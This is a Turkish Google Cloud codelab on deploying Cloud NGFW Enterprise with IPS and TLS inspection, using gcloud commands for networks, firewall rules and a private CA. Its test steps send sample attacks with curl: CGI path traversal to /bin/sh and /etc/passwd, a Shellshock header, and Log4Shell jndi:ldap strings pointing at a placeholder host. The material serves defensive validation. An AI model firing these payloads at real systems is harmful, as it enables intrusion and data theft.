1. Giriş
Cloud Next Generation Güvenlik Duvarı (NGFW)
Cloud Next Generation Firewall, Google Cloud iş yüklerinizi dahili ve harici saldırılara karşı korumak için gelişmiş koruma özellikleri, mikro segmentasyon ve yaygın kapsama alanı sunan, tamamen dağıtılmış bir güvenlik duvarı hizmetidir.
Cloud NGFW'nin avantajları şunlardır:
- Dağıtılmış güvenlik duvarı hizmeti: Cloud NGFW, sıfır güven güvenlik mimarisi sağlamak için her iş yükü üzerinde durum bilgili ve tam olarak dağıtılmış, ana makine tabanlı bir yaptırım sağlar.
- Basitleştirilmiş yapılandırma ve dağıtım: Cloud NGFW, bir kaynak hiyerarşisi düğümüne eklenebilecek ağ ve hiyerarşik güvenlik duvarı politikalarını uygular. Bu politikalar, Google Cloud kaynak hiyerarşisi genelinde tutarlı bir güvenlik duvarı deneyimi sağlar.
- Ayrıntılı kontrol ve mikro segmentasyon: Güvenlik duvarı politikaları ile Identity and Access Management (IAM) tarafından yönetilen etiketlerin kombinasyonu, Sanal Özel Bulut (VPC) ağları ve kuruluşlar genelinde hem kuzey-güney hem de doğu-batı trafiği için tek bir sanal makineye kadar ayrıntılı kontrol sağlar.
Cloud NGFW aşağıdaki katmanlarda kullanılabilir:
- Cloud Next Generation Firewall ile İlgili Temel Bilgiler
- Cloud Next Generation Firewall Standard
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Enterprise
Cloud NGFW Enterprise, dağıtılmış Google Cloud Güvenlik Duvarı yapısına 7. Katman özelliği olan Saldırı Önleme Hizmeti'ni (IPS) ekler. TLS şifrelenmiş trafiğin incelenmesine izin vermek için TLS denetimi desteklenir.
Artık ağ mimarinizde veya yönlendirme yapılandırmalarınızda herhangi bir değişiklik yapmadan, ayrıntılı kontrollerle güvenilir Katman 7 Yeni Nesil Güvenlik Duvarı (NGFW) denetimlerini dağıtabilirsiniz.
IPS ile 7. Katman güvenlik duvarı denetimini etkinleştirmek ve dağıtmak için aşağıdaki görevleri gerçekleştirmeniz gerekir:
- Google Cloud tarafından yönetilen bir dizi bölgesel güvenlik duvarı uç noktası oluşturun.
- İsteğe bağlı olarak bir TLS Denetimi Politikası oluşturun.
- İsteğe bağlı olarak bir Trust Config oluşturun.
- Bu uç noktaları, Cloud NGFW Enterprise hizmetine ihtiyacınız olan Sanal Özel Bulut (VPC) ağlarıyla ilişkilendirin.
- Çeşitli trafik yolları için tehdit önleme profillerini belirtmek üzere mevcut güvenlik duvarı politikalarınızda ve güvenlik duvarı kurallarınızda basit değişiklikler yapın.
Ağ güvenlik duvarı politikaları
Ağ güvenlik duvarı politikası, güvenlik duvarı kuralları için bir kapsayıcı görevi görür. Ağ güvenlik duvarı politikasında tanımlanan kurallar, politika bir VPC ağı ile ilişkilendirilene kadar hiçbir yerde zorunlu kılınmaz. Her VPC ağının ilişkili bir ağ güvenlik duvarı politikası olabilir. Ağ güvenlik duvarı politikaları, güvenlik duvarı kurallarında IAM tarafından yönetilen etiketleri (veya yalnızca etiketleri) destekler. Bu etiketler, mevcut ağ etiketlerinin yerini alır ve iş yüküne kimlik sağlamak için kullanılabilir.
Ağlar arasında bir ağ güvenlik duvarı politikasının paylaşılması ve IAM tarafından yönetilen etiketlerle entegrasyon, güvenlik duvarlarının yapılandırmasını ve yönetimini büyük ölçüde basitleştirir.
Ağ güvenlik duvarı politikasının kullanıma sunulmasıyla birlikte Google Cloud'un güvenlik duvarı politikaları artık aşağıdaki bileşenlerden oluşmaktadır:
- Hiyerarşik Güvenlik Duvarı Politikası
- VPC Güvenlik Duvarı Kuralları
- Ağ Güvenlik Duvarı Politikası ( Küresel ve Bölgesel)
Hiyerarşik güvenlik duvarı politikaları, kaynak hiyerarşisindeki kuruluş ve klasör düğümlerinde desteklenir. VPC güvenlik duvarı kuralları ve ağ güvenlik duvarı politikaları ise VPC düzeyinde uygulanır. VPC güvenlik duvarı kuralları ile ağ güvenlik duvarı politikaları arasındaki önemli fark, VPC güvenlik duvarı kurallarının yalnızca tek bir VPC ağına uygulanabilmesidir. Ağ güvenlik duvarı politikalarının ise toplu güncellemeler gibi diğer avantajların yanı sıra tek bir VPC'ye veya VPC grubuna bağlanabilir.
Son olarak, her VPC ağında bulunan örtülü güvenlik duvarı kuralları da vardır:
- İşlemine izin verilen bir çıkış kuralı, hedefi 0.0.0.0/0
- İşlemi reddet ve kaynağı 0.0.0.0/0 olan bir giriş kuralı
Yaptırım sırası varsayılan olarak aşağıdaki şemada gösterilir:
VPC güvenlik duvarı kuralları ile genel ağ güvenlik duvarı politikası arasındaki yaptırım sırasının değiştirilebileceğini lütfen unutmayın. Müşteriler, gcloud komutu ile istedikleri zaman yaptırım emrini belirtebilir.
Etiketler
Yeni ağ güvenlik duvarı politika kurallarına entegre edilen etiketler, Google Cloud kaynak hiyerarşisinin kuruluş veya proje düzeyinde tanımlanan anahtar/değer çifti kaynaklarıdır. Bu tür bir etiket, etikette kimlerin ne yapabileceğini belirten IAM erişim denetimleri içerir. Örneğin, Identity and Access Management (IAM) izinleri, hangi kimliklerin etiketlere değer atayabileceğini ve hangi kimliklerin kaynaklara etiket ekleyebildiğini belirtmenize olanak tanır. Bir ağ güvenlik duvarı kuralı bir etikete referans veriyorsa yaptırım için bir kaynağa uygulanmalıdır.
Etiketler, Google Cloud'un kaynak devralma modeline uyar. Yani etiketler ve değerleri, üst öğelerinden hiyerarşi boyunca aktarılır. Sonuç olarak, etiketler tek bir yerde oluşturulabilir ve ardından kaynak hiyerarşisindeki diğer klasörler ve projeler tarafından kullanılabilir. Etiketler ve erişim kısıtlaması hakkında ayrıntılı bilgi için bu sayfayı ziyaret edin.
Etiketler, ağ etiketleriyle karıştırılmamalıdır. İkincisi, Compute Engine örneklerine eklenebilen dizelerdir. Bu dize örnekleri örnekle ilişkilendirilir ve örnek kullanımdan kaldırıldığında kaybolur. VPC güvenlik duvarı kuralları ağ etiketleri içerebilir ancak bulut kaynağı olarak kabul edilmediklerinden IAM erişim denetimine tabi değildir.
Bu belgede etiketler ve IAM tarafından yönetilen etiketlerin birbirinin yerine kullanıldığını unutmayın.
Oluşturacağınız uygulama
Bu kod laboratuvarının çalışması için tek bir proje ve VPC ağı oluşturma ve çeşitli ağ ve güvenlik kaynaklarını yönetme olanağı gerekir. Bu makalede, Cloud NGFW Enterprise'ın IPS işlevini nasıl sağlayabileceği aşağıdakiler aracılığıyla gösterilmektedir:
- Kuzeye giden internet akışlarını TLS denetimiyle inceleme
- TLS denetimiyle VPC içi akışları [Doğu-Batı] inceleme
İncelenecek akışlar, 5 unsurlu (kaynak IP, hedef IP, protokol, kaynak bağlantı noktası, hedef bağlantı noktası) ve Etiketler dahil Cloud Firewall eşleşme parametreleri kullanılarak seçilir.
Ağ güvenlik duvarı politikası kural tabanının son durumu aşağıdaki tabloya benzer olacaktır:
Öncelik | Yön | Target | Kaynak | Hedef | İşlem | Tür |
100 | Giriş | Server_Tag | Durum Denetimleri | Tümü | İzin ver | Essentials |
200 | Giriş | Client_Tag, Server_Tag | IAP | Tümü | İzin ver | Essentials |
800 | Giriş | Server_Tag | 10.0.0.0/24 | 10.0.0.0/24 | L7 Denetimi | Kurumsal |
850 | Çıkış | Client_Tag | Tümü | 10.0.0.0/24 | İzin ver | Essentials |
900 | Çıkış | Client_Tag | Tümü | Tümü | L7 Denetimi | Kurumsal |
Neler öğreneceksiniz?
- Ağ güvenlik duvarı politikası oluşturma.
- Ağ güvenlik duvarı politikasıyla etiket oluşturma ve kullanma.
- TLS denetimi ile Cloud NGFW Enterprise'ı yapılandırma ve kullanma.
Gerekenler
- Google Cloud projesi.
- Örnekleri dağıtma ve ağ bileşenlerini yapılandırma hakkında bilgi.
- VPC güvenlik duvarı yapılandırması hakkında bilgi sahibi olmanız gerekir.
2. Başlamadan önce
Değişken oluşturma/güncelleme
Bu kod laboratuvarında, Cloud Shell'de gcloud yapılandırmasının uygulanmasına yardımcı olmak için $variables değişkenleri kullanılır.
Cloud Shell'de, tırnak içindeki bilgileri gerektiği gibi değiştirerek aşağıdaki komutları çalıştırın:
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"` export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=ngfw-enterprise export billing_project=[billing-project-id]
3. API'leri etkinleştir
Henüz yapmadıysanız API'leri etkinleştirin:
gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. Cloud NGFW Enterprise Uç Noktası Oluşturma
Cloud NGFW Enterprise uç noktası oluşturma işlemi yaklaşık 20 dakika sürdüğünden önce uç nokta oluşturulur. Ardından temel kurulum, uç nokta oluşturulurken paralel olarak yapılabilir.
Güvenlik profilini ve güvenlik profili grubunu oluşturun:
gcloud network-security security-profiles threat-prevention \ create $prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat
Beklenen çıkış:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.
Kaynakların başarıyla oluşturulduğunu onaylayın:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
Beklenen çıkış (Çıkış biçiminin, kullanılan istemciye göre değişebileceğini unutmayın:
NAME: ngfw-enterprise-sp-threat NAME: ngfw-enterprise-spg
Cloud NGFW Enterprise uç noktasını oluşturun:
gcloud network-security firewall-endpoints create $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$billing_project
Bitiş noktasının oluşturulmakta olduğunu (CREATING) onaylamak için aşağıdaki komutu çalıştırın.
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Beklenen çıkış (çıktı biçiminin kullanılan istemciye göre değişebileceğini unutmayın):
ID: $prefix-$zone LOCATION: $zone STATE: CREATING
İsteğe bağlı olarak, daha fazla ayrıntı almak için aşağıdaki komutu çalıştırın:
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
Beklenen çıkış:
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone state: CREATING updateTime: '2023-11-16T04:27:17.677731831Z'
Oluşturma işlemi yaklaşık 20 dakika sürer. Paralel olarak gerekli kaynakları oluşturmak için Temel Kurulum bölümüne geçin.
5. Temel Kurulum
VPC ağı ve alt ağı
VPC ağı ve alt ağı
VPC ağını ve alt ağı oluşturun:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
Cloud Router ve Cloud NAT ağ geçidini oluşturun:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
Örnekler
İstemci ve web sunucusu örneklerini oluşturun:
gcloud compute instances create $prefix-$zone-client \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2-utils mtr iperf3 tcpdump -y' gcloud compute instances create $prefix-$zone-www \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2 tcpdump iperf3 -y a2ensite default-ssl a2enmod ssl # Read VM network configuration: md_vm="http://169.254.169.254/computeMetadata/v1/instance/" vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )" filter="{print \$NF}" vm_network="$(curl $md_vm/network-interfaces/0/network \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" vm_zone="$(curl $md_vm/zone \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" # Apache configuration: echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \ tee /var/www/html/index.html systemctl restart apache2'
Proje düzeyinde etiketler
Gerek varsa kullanıcıya tagAdmin iznini atayın:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin
Proje düzeyinde etiket anahtarını ve değerlerini oluşturun:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags
Etiketleri örneklere bağlayın:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
Küresel ağ güvenlik duvarı politikası
Global ağ güvenlik duvarı politikası oluşturun:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise with TLS" --global
Durum denetimi ve Identity-Aware Proxy aralığından gelen trafiğe izin vermek için gerekli Cloud Firewall Temel kurallarını oluşturun:
gcloud compute network-firewall-policies rules create 100 \ --description="allow http traffic from health-checks ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22 gcloud compute network-firewall-policies rules create 200 \ --description="allow ssh traffic from identity-aware-proxy ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:22 \ --direction=INGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \ --src-ip-ranges=35.235.240.0/20
Belirli aralıklardan doğudan batıya / alt ağ içi trafiğe izin vermek için gerekli Cloud Güvenlik Duvarı kurallarını oluşturun (Bu kurallar, TLS denetimiyle Cloud NGFW Enterprise'ı etkinleştirmek için güncellenecektir):
gcloud compute network-firewall-policies rules create 800 \ --description "allow ingress internal traffic from tagged clients" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=INGRESS \ --enable-logging \ --layer4-configs tcp:443 \ --src-ip-ranges=10.0.0.0/24 \ --dest-ip-ranges=10.0.0.0/24 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
Bulut güvenlik duvarı politikasını VPC ağıyla ilişkilendirin:
gcloud compute network-firewall-policies associations create \ --firewall-policy $prefix-fwpolicy \ --network $prefix-vpc \ --name $prefix-fwpolicy-association \ --global-firewall-policy
6. Cloud Güvenlik Duvarı Uç Noktası İlişkilendirmesi
Henüz yapmadıysanız ve/veya komut dosyası yaklaşımını tercih ettiyseniz ortam değişkenlerini tanımlayın.
Cloud Güvenlik Duvarı Uç Noktası oluşturma işleminin başarıyla tamamlandığını onaylayın. Yalnızca durum ETKİN olarak gösterildiğinde devam edin (oluşturma sırasında beklenen durum OLUŞTURULUYOR'dur):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Beklenen çıkış (çıktı biçiminin, kullanılan istemciye göre değişebileceğini unutmayın):
ID: $prefix-$zone LOCATION: $zone STATE: ACTIVE
İsteğe bağlı olarak, daha fazla ayrıntı almak için aşağıdaki komutu çalıştırın:
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
Beklenen çıkış:
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone state: ACTIVE updateTime: '2023-11-16T04:49:53.776349352Z'
Cloud Firewall uç noktasını VPC ağına bağlayın:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc \ --endpoint $prefix-$zone \ --organization $org_id
İlişkilendirme işlemi yaklaşık 10 dakika sürer. Yalnızca durum ETKİN olarak gösterildikten sonra TLS bölümüne geçin (oluşturma sırasında beklenen durum OLUŞTURULUYOR'dur):
gcloud network-security firewall-endpoint-associations list
Tamamlandığında beklenen çıkış:
ID: ngfw-enterprise-association LOCATION: $zone NETWORK: $prefix-vpc ENDPOINT: $prefix-$zone STATE: ACTIVE
İsteğe bağlı olarak, daha fazla ayrıntı almak için aşağıdaki komutu çalıştırın:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
Beklenen çıkış:
createTime: '2023-11-16T04:57:06.108377222Z' firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association network: projects/$project_id/global/networks/$prefix-vpc state: ACTIVE updateTime: '2023-11-16T04:57:06.108377222Z'
7. TLS Kaynaklarını Yapılandırma
CA havuzu oluşturun. Bu kaynak, NGFW Enterprise için oluşturduğumuz kök CA sertifikasını barındırmak için kullanılır.
gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise
Kök CA'yı oluşturun. Bu, NGFW Enterprise üzerinden gelen istekler için ek sertifikaları imzalamak üzere kullanılacak CA sertifikasıdır.
gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"
Aşağıdaki mesajı görürseniz y yanıtını verin:
The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA? Do you want to continue (y/N)?
Bir hizmet hesabı oluşturun. Bu hizmet hesabı, NGFW Enterprise için sertifika istemek amacıyla kullanılır:
gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id
Hizmet hesabı için IAM izinlerini ayarlayın:
gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester
TLS Politikası YAML dosyasını oluşturun. Bu dosya, belirli kaynaklarla ilgili bilgileri içerir:
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false EOF
TLS denetimi politikasını içe aktarın:
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
TLS'yi etkinleştirmek için uç nokta ilişkilendirmesini güncelleyin:
gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region
CA sertifikasını alın ve istemcinin CA deposuna ekleyin:
gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt
CA sertifikasını istemciye aktarın:
gcloud compute scp --tunnel-through-iap ~/$prefix-CA-Root.crt $prefix-$zone-client:~/ --zone=$zone
Sanal makineye SSH ile bağlanın, CA sertifikasını /usr/local/share/ca-certificates konumuna taşıyın ve CA deposunu güncelleyin:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/ sudo update-ca-certificates
Cloud Shell'e geri dönün.
Sunucu Sertifikası İmzalama işlemi:
Cloud Shell'de, pip komutunu kullanarak Pyca kriptografi kitaplığını yükleyin:
pip install --user "cryptography>=2.2.0"
Google Cloud SDK'nın Pyca kriptografi kitaplığını kullanmasına izin vermek için site paketlerini etkinleştirmeniz gerekir.
export CLOUDSDK_PYTHON_SITEPACKAGES=1
Sunucu sertifikasını oluşturun:
gcloud privateca certificates create --issuer-location=$region \ --issuer-pool $prefix-CA-Pool \ --subject "CN=Cloud NGFW Enterprise,O=Google" \ --ip-san=10.0.0.3 \ --generate-key \ --key-output-file=./key.pem \ --cert-output-file=./cert.pem
Bu işlem, cloudshell'de cert.pem ve key.pem dosyası oluşturur. Ardından, sertifikayı ve anahtarı sunucuya aktarın.
gcloud compute scp --tunnel-through-iap ~/cert.pem $prefix-$zone-www:~/ --zone=$zone gcloud compute scp --tunnel-through-iap ~/key.pem $prefix-$zone-www:~/ --zone=$zone
Apache için sertifika ayrıntılarını güncellemek üzere sunucuya SSH ile bağlanın:
gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone
Sertifikayı ve anahtarı belirli bir klasöre taşıyın:
sudo mv cert.pem /etc/ssl/certs/ sudo mv key.pem /etc/ssl/private/
SSL yapılandırmasını, imzalı sertifika kullanacak şekilde güncelleyin:
sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf
Apache'i yeniden başlatın:
sudo systemctl restart apache2
Apache durumunu doğrulayın:
sudo systemctl status apache2
Etkin (çalışıyor) olmalıdır.
Sanal makineden çıkıp CloudShell'da devam edin.
8. Kuzeye bakan ve D/B bağlantısını doğrulama
Cloud Shell'de aşağıdaki komutları çalıştırın ve kullanılacak hedef IP'leri not edin:
gcloud compute instances list --filter="name=($prefix-$zone-www)"
Yeni bir sekme açın ve IAP üzerinden istemci sanal makinesine SSH bağlantısı başlatın (değişkenleri yeni sekmede tanımlamanız gerekir):
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Aşağıdaki komutları çalıştırın ve kullanılacak hedef IP'leri not edin. Değişkenleri oluştururken parantez içindeki değerleri önceki adımda not edilen IP'lerle değiştirin ve erişilebilir olduklarından emin olun:
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
Özel IP'yi Curl ile arayın ve erişilebilir olduğundan emin olun:
curl https://$target_privateip --max-time 2
curl isteği için beklenen sonuçlar:
Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone
IP'ye örnek saldırılar gönderin. Web sunucusu, L7 denetimi/önleminin bulunmadığını onaylayarak tüm isteklere yanıt vermelidir:
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
Beklenen sonuçlar örneği (özel IP):
400 404 400 200 200
Benzer şekilde, bir internet hedefine istek gönderin:
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
Beklenen sonuçlar örneği (internet hedefi):
400 404 400 403 403
Sanal makine terminalinden çıkıp Cloud Shell'e dönün.
9. TLS Denetimi İçin Güvenlik Duvarı Kuralları Oluşturma ve Güncelleme
Daha önce, dahili alt ağdan sunucumuza giriş trafiğine izin verecek bir güvenlik duvarı kuralı yapılandırmıştık. Şimdi mevcut giriş kurallarını güncelleyeceğiz ve işlemi apply_security_profile_group olarak ayarlayacağız. Bu, TLS ile E/W L7 denetimini mümkün kılar:
gcloud compute network-firewall-policies rules update 800 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \ --tls-inspect
Kuzeye doğru L7 denetimini TLS ile denetlemek için yeni bir kural oluşturun.
gcloud compute network-firewall-policies rules create 900 \ --description "Inspect egress traffic over TCP 443" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=EGRESS \ --enable-logging \ --layer4-configs tcp:443 \ --dest-ip-ranges=0.0.0.0/0 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \ --tls-inspect
Çift denetimi önlemek için E/B için ÇIKIŞ'a izin verecek yeni bir kural oluşturun.
gcloud compute network-firewall-policies rules create 850 \ --description "Prevent double inspection" \ --action=ALLOW \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=EGRESS \ --layer4-configs tcp:443 \ --dest-ip-ranges=10.0.0.0/24 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client
10. Kuzeye Yönelik TLS Denetimini Doğrulama
Müşteri sanal makinesi sekmesine geri dönün veya tekrar bağlanın:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Örnek saldırıları bir internet hedefine gönderin:
curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
Aşağıdaki beklenen çıkışa göre yanıt alınmaması, örnek saldırıların artık engellendiğini doğrular:
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
Değişkeni, önceki sunucu IP'sine ayarlayın:
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
Sunucuya örnek TLS istekleri gönderin:
curl https://$target_privateip --max-time 2
Beklenen çıkış:
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
Bu istek neden başarısız oldu? Bunun nedeni, güvenlik duvarının sunucudan güvenilmeyen bir sertifika alması. Bu durumda, istemciye kendinden imzalı bir sertifika gönderilir. Güveni etkinleştirmek için CA sertifikasını bir güven yapılandırmasının parçası olarak eklememiz gerekir.
Cloud Shell'e dönün.
11. Güven Yapılandırmasını Yapılandırma
Kök CA sertifikasını alın ve doğru biçimlendirmeye sahip bir değişken olarak ayarlayın.
export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/ /')
Güven Yapılandırması YAML dosyasını yapılandırın. Bu dosya, CA sertifikaları gibi güven ayrıntılarını içerir:
cat > trust_config.yaml << EOF name: "$prefix-trust-config" trustStores: - trustAnchors: - pemCertificate: | ${NGFW_ROOT_CA} EOF
Sunucu sertifikanız Kök CA kullanılarak imzalandığından, yukarıdaki komutlar güven deposunun bir parçası olarak Kök CA sertifikanızı içeriyordu. Bu, güvenlik duvarının, TLS politikanızda excludePublicCaSet değeri false olarak ayarlanmışsa herkese açık CA'lara ek olarak kök CA'nız tarafından imzalanan tüm sertifikaları güveneceği anlamına gelir.
Güven yapılandırmasının içeriğini kontrol edin.
cat trust_config.yaml
Örnek Çıkış:
Sertifikanın girinti hizalamasına çok dikkat edin. Bu biçime tam olarak uymalıdır.
